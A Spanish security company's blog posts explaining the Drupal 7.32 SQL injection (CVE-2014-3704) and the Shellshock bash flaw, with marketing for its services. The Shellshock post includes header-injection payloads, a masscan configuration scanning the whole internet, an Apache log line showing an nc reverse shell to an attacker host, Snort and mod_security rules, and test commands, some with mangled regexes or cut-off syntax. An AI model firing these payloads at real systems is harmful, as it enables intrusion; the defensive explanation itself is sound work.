Diario de un exploit crítico. Vulnerabilidad Drupal 7.32

  • 0

Diario de un exploit crítico. Vulnerabilidad Drupal 7.32

Cada día salen a la luz nuevas vulnerabilidades mas o menos fáciles de explotar.

Estas vulnerabilidades o bugs pueden afectar de diferente manera a los servicios que ponemos en la red. Cada vez mas, se reduce el tiempo desde que se hace publica una vulnerabilidad hasta que esta es explotada de una manera “industrial” para conseguir algún tipo de beneficio.
Lo que vamos a contar ahora es una ejemplo de esta rapidez y lo que puede llegar a hacer para una plataforma que es comprometida.

Día 0, un pentester, hacker o como quiera llamarlo descubre una vulnerabilidad en un código y lo publica en internet

Los primeros datos apuntan a que la vulnerabilidad encontrada afecta a un software muy extendido de creacion de blogs y paginas webs llamado Drupal. Esta vulnerabilidad a las versiones 7.31 y 7.32. En el siguiente video aparece un chico asiático, Pichaya Morimoto, describiendo esta vulnerabilidad en el CORE de Drupal 7.31. En el vídeo está utilizando herramientas como son plugins para la navegación, creemos que hackbar, un editor de textos para ver el código y alguna herramienta más como burp suite, además hace uso de una máquina para pruebas. Sí, más o menos, así es como los pentesters descubren la mayoría de los fallos, trabajando en encontrarlos. El vídeo está en en Tailandés, supongo, así que recomendamos poner los subtítulos en inglés.

 

Día 1, alguien ve el vídeo o encuentra la vulnerabilidad publicada y desea crear una script que la explote

Esta vulnerabilidad podría hacer que un atacante cambiase la clave del administrador del CMS, consiguiendo por supuesto el control total sobre el contenido del mismo. Por supuesto, no han tardado mucho en sacar un script que pueda explotar esta vulnerabilidad de forma casi inmediata, que el core de Drupal sea la versión 7.31 o 7.32 no importa, porque la vulnerabilidad es la misma. Drupal no ha parcheado o no se ha enterado hasta la fecha.

< ?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   __ / _ / //_/ __/ / __ / __ / __/ / / __ / ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/___/_/|_|__/_/____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·
  
include 'common.inc';
include 'password.inc';
[resto del codigo]  

 

Día 2, A partir de este día muchas webs empiezan a verse afectadas

Una vez echo publico el bug, un “chico malo” un poco listo, piensa que “¿por que no lo explotamos para poner nuestras cosas?”. Dicho y echo, la tarea de automatizar la explotación de la vulnerabilidad y poner o modificar los contenidos de estas webs es un juego de niños para esta gente.Para tener una lista mas o menos actualizada de webs vulnerables se valen de repositorios públicos de este tipo de datos como Shodan.

Una vez tienen el sistema de automatización creado con la lista de maquinas vulnerables, solo falta lanzar lo a la red para explotar esos sistemas.

Las páginas web aparecen defaceadas o con cosas que no deberían estar publicadas y algunos usuarios enfadados porque la página ha desaparecido. Los malos, hacen uso de herramientas automatizadas o simplemente realizan el ataque manualmente.

Muchos clientes contactan con sus respectivos servicios de soporte del hosting, que además les dirá que es un problema de seguridad del CMS y que no es problema de ellos, que reinstales la página web y/o los backups.

Día 3, TeamSec empieza a recibir llamadas para securizar la web Drupal

Para una empresa o particular que su negocio dependa de Internet es un problema muy serio tanto por el tiempo perdido como por el dinero que puede costar la reparación o recuperación. Estos costes suponen que los responsables sepan reinstalar y/o recuperar un backup. De no ser así deberían de contratar a alguien que pueda realizar esas tareas. Deberá de comprobar que una vez recuperado el sistema vuelve a su estado anterior, eso si contar que puede perder datos por el camino.

En resumidas cuentas para una empresa le supone asignar recursos que se dedican a otras tareas para resolver el problema. Mientras que el problema persiste se esta perdiendo dinero.

Este tipo de ataques se producen en un tiempo muy corto desde que se descubre la vulnerabilidad hasta que se se automatiza y empieza a afectar a toda clase de servicios. Dado este corto periodo de tiempo, comprendemos que los administradores, o gerentes de las empresas no tienen tiempo para estar al tanto de los problemas de seguridad que pueden afectar a su plataforma, con llevar el día a día de la empresa tienen mas que suficiente. Ahí es donde entra en juego las empresas de seguridad lógica con un nutrido grupo de profesionales que están al tanto de las noticias, fallos, y demás anomalías que pueden afectar a su plataforma.

Como hemos comentado en mas de una ocasión, a Vd como empresa no les atacan por que se dediquen a esto o a lo otro, o por que tenga una mejor o menor publicidad, simplemente le atacan a su empresa por que han descubierto que su empresa es vulnerable. Aquí es donde entra en juego las empresas de seguridad. Vd se gasta dinero en puertas de entrada a sus oficinas cada vez mas seguras, en cerraduras infranqueables, etc. Si Vd tiene una pagina web, blog o escaparate en Internet, estas también tienen que estar protegido como sus oficinas. Por que al final es la cara y parte de su Marca que presenta al mundo.

TeamSec le puede ayudar en estas tareas. Le ahorrara tiempo al no tener que preocuparse de la seguridad integrar de su empresa. Le ahorrara dinero evitando que sus sistemas tengan fallos o estos sean explotados por personal ajeno que le supondrían un problema de imagen de Marca, Reputación, posibles demandas, etc, que al final se traduce en dinero. Contamos con el mejor equipo de expertos en seguridad que le ayudaran ahorrarse dinero evitando que le pasen problemas.

 

Más info sobre esta vulnerabilidad calificada con categoría de riesgo muy alto:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE: 2014-3704


  • 0

Shellshock. Vulnerabilidad encontrada en Bash

ShellShock

La vulnerabilidad llamada CVE-2014-6271o y CVE-2014-7169 o mas conocida como “Shellshock” se publico el día 24/09/14 y pronto salto a las webs y blogs especializados en seguridad. Poco mas tarde al darse cuenta del alcance de la vulnerabilidad salto a los medios de comunicación.

Figura 1: Ejemplo de la noticia en un medio de comunicación "de masas".

Figura 1: Ejemplo de la noticia en un medio de comunicación “de masas”.

Esta vulnerabilidad consiste en usar variables para engañar a un shell tipo bash para que ejecute cualquier tipo de programa o comando. Esta vulnerabilidad afecta a todos o casi todos los sistemas operativos que deriven de unix. Afectando a cualquier servicio que corren en dichos sistemas operativos, como servidores webs, servidores DHCP,  etc. Desde TeamSec les recomendamos urgentemente actualizar sus servidores con los parches del proveedor.

Esta vulnerabilidad es tan critica y se explica por que se la ha catalogado como nivel 10, que es el mas alto, de la escala CVSS v2. Esta escala indica por un lado si la vulnerabilidad es explotable desde el exterior, luego si es fácil de explotar y por último si su explotación pone en peligro la integridad del sistema vulnerable. Esta vulnerabilidad según su rango, es muy fácil de explotar, ademas de ser explotable desde el exterior y su explotación pone gran peligro la integridad del sistema.

Este fallo, en resumen, puede permitir a atacantes malintencionados tomar fácilmente el control de servidores web. Servidores con sistema operativo que usan bash, como linux, MacOS o BSD podrían verse afectados en especial los que tengan servicios de Internet expuestos.

 

¿Cuantos servidores pueden estar afectados?

A modo de ejemplo, y para hacernos una idea de a cuantos servidores puede afectar, en la siguiente gráfica de Netcraft podemos ver el tanto por ciento de utilización de los diferentes servidores webs que están activos. Los datos son de Septiembre del 2014.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Figura 2: Estadísticas de la web de Netcraft sobre software usado en servidores web.

Según esos datos, podríamos decir que podrían estar afectados mas del 50% del total de servidores en el mundo.

¿Como saber si un servidor es vulnerable?

En principio es fácil basta en una shell del sistema ejecutar esta pequeña linea.

env x='() { :;}; echo Si sale esta linea su sistema es vulnerable' bash -c "echo Esto es un Test"

La ejecución de esta linea en un sistema vulnerable a este problema seria parecido a esto.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

Figura 3: Resultado de la ejecución de un script en un sistema vulnerable.

En cambio, si por el contrario nuestro sistema no es vulnerable nos saldría solo la linea “Esto es un Test”, como podemos comprobar en el siguiente ejemplo.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Figura 4: Resultado de la ejecución de un script en un sistema NO vulnerable.

Ataque tipo vía web

Lo que hemos visto anteriormente era como desde una cuenta local se comprobaba si el servidor era vulnerable. Pero como hemos indicado anteriormente, no solo esta vulnerabilidad puede ser explotada localmente, también puede ser explotada remotamente. Y no hay mejor ejemplo que ver como se puede explotar en un servidor web.

Debe quedar claro, que es un ejemplo el ataque a un servidor web. No solo este tipo de servicios son vulnerables sino que lo son cualquiera que pueda recibir parámetros vía el exterior, como un servidor DCHP, SSH, etc.

Existen una cantidad ingente de exploits que se valen de esta vulnerabilidad para llegar a tener un control total sobre los sistemas vulnerables. Un  ejemplo de este tipo de exploits lo podemos encontrar en esta URL:

http://pastebin.com/search?cx=013305635491195529773%3A0ufpuq-fpt0&cof=FORID%3A10&ie=UTF-8&q=CVE-2014-6271&sa.x=12&sa.y=11

De una manera mas “manual”  el ataque a un servidor web se realiza ademas de metiendo la inyección en la propia petición GET, también se puede realizar en cualquiera del resto de campos que se envían al realizar la solicitud.

Por ejemplo, una solicitud normal a un servidor web seria:

Host: x.x.x.x
Accept: */*
Cookie: NO-Cookie
Referer: http://google.com
User-agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0

En cambio si queremos explotar esta vulnerabilidad seria de la siguiente manera:

Host: x.x.x.x
Accept: */*
Cookie: () { :; }; /bin/ping -c 1 
Referer: () { :; }; /bin/ping -c 1 
User-agent: () { :; }; /bin/ping -c 1 

Si esto lo queremos meter en un script para poder comprobar si la red que administramos es vulnerable seria tan sencillo como realizar las pruebas con los siguientes parámetros usando el siguiente script https://github.com/robertdavidgraham/masscan/blob/master/src/proto-http.c#L120. Eso si, cambiando el valor de la variable “target” por nuestra red, y la IP “1.2.3.4” por una IP de una maquina que controlemos para monitorizar los paquetes ICMP que recibirá de las maquina vulnerables.

target = 0.0.0.0/0
port = 80
banners = true
http-user-agent = Shellshock Scan-TeamSec (http://teamsec.es/blog/)
http-header = Cookie:() { :; }; ping -c 3 1.2.3.4
http-header = Host:() { :; }; ping -c 3 1.2.3.4
http-header = Referer:() { :; }; ping -c 3 1.2.3.4

¿Como podemos monitorizar estos ataques?

Como ejemplo de log del Apache de un ataque de este tipo, podemos ver en la siguiente linea intentan explotar la vulnerabilidad ejecutando como comando un shell inverso a la maquina del atacante al puerto 4444 (/bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &).

XXX.XXX.XXX.XXX - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { v:; }; /bin/nc -e /bin/sh YYY.YYY.YYY.YYY 4444 &”

Para monitorizar este tipo de ataques dependemos del tipo de plataforma que usemos para dicha monitorización. Por ejemplo, nosotros tenemos una plataforma que hace poco la hemos instalado en un cliente que a traves de una serie de sondas monitoriza toda su red.

Ejemplos de este tipo de reglas para la sonda Snort que hemos implementado son:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"%3D%28%29+%7B"; fast_pattern:only; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31975; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_client_body; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31976; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31977; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in web server"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-7169; classtype:web-application-activity; sid:31978; rev:3;)
alert udp $HOME_NET 67 -> $HOME_NET 68 (msg:"ShellShock – Possible CVE-2014-6271 bash Vulnerability in DHCP server"; flow:stateless; content:"() {"; fast_pattern:only; content:"|02 01 06 00|"; depth:4; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service dhcp; reference:cve,2014-6271; reference:cve,2014-7169; classtype:attempted-admin; sid:31985; rev:3;)

Mitigación

La principal medida de minimizar los riesgos es la instalación del parche correspondiente. Puede haber sistemas que por la razón que sea, no existe el parche, es un sistema critico que debe pasar una serie de controles antes de la instalación de un parche, etc, nos es imposible el parcheo. En estos casos se podrían implementar contramedidas que paliaran en lo posible un hipotético ataque a la plataforma.

Apache con mod_security

Si disponemos de un servidor Apache con el modulo Mod_security, podemos añadir estas lineas en la configuración para mitigar en la medida de lo  posible este tipo de ataques:

# ShellShock bash vulnerabilidad CVE-2014-6271 y CVE-2014-7169
RewriteCond %{HTTP_USER_AGENT} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_REFERER} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_COOKIE} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_HOST} (()s{s+:s*;s*}s*;) [OR]
RewriteCond %{HTTP_FORWARDED} (()s{s+:s*;s*}s*;)
RewriteRule Block_This_URL - [F,L]

Modificando las varibales que se cargan en el shell .bashrc

Otra manera de mitigar este tipo de problemas es modificando el fichero “~/.bashrc”. Este fichero en un sistema unix es donde se definen las variables de entorno para que el Bash las carge antes de realizar o ejecutar cualquier comando. La ruta “~/” define el HOME del usuario en cuestion.

Deberemos de añadir estas dos lineas al final de dicho fichero con lo que cualquier intento de explotacion de esta vulnerabilidad no lo conseguira.

env x='() { :;}; echo "WARNING: SHELLSHOCK DETECTED"' 
    bash --norc -c ':' 2>/dev/null;

Conclusión

Desde TeamSec creemos que es una vulnerabilidad lo suficientemente importante como para realizar un parcheo del sistema para corregirlo. Por eso les recomendamos que se pongan en contacto con el fabricante para solicitarle asesoramiento y los parches necesarios para corregir el problema.

Al igual que cuando ocurrió con el heartbleed, se ha creado una web para informar sobre la vulnerabilidad. Los efectos que puede ocasionar la explotación de la vulnerabilidad, y sobre todo dan unas nociones de como aplicar los parches a cada uno de los sistemas afectados shellshocker.net.

 

Les recordamos que nuestra empresa estaría encantada de asesorar les para confirmar que sus sistemas son o no vulnerables a este tipo de ataques y después ayudarles a la instalación de los parches o lo que haga falta para hacer sus sistemas y servicios mucho mas seguros.

 

Actualizacion (30/09/2014)

Se han ido encontrando mas vulnerabilidades que tienen que ver con el tipo de Shellshock. La manera de comprobar estas difiere un poco unas de otras pero todas usan de igual manera las variables.

 

Vulnerabilidad Método de prueba
CVE-2014-6271
+env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
CVE-2014-7169
env X='() { (a)=>' bash -c "echo date"; cat echo
CVE-2014-7186
bash -c 'true <
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6277
foo='() { echo "CVE-2014-6277 vulnerable"; }' bash -c foo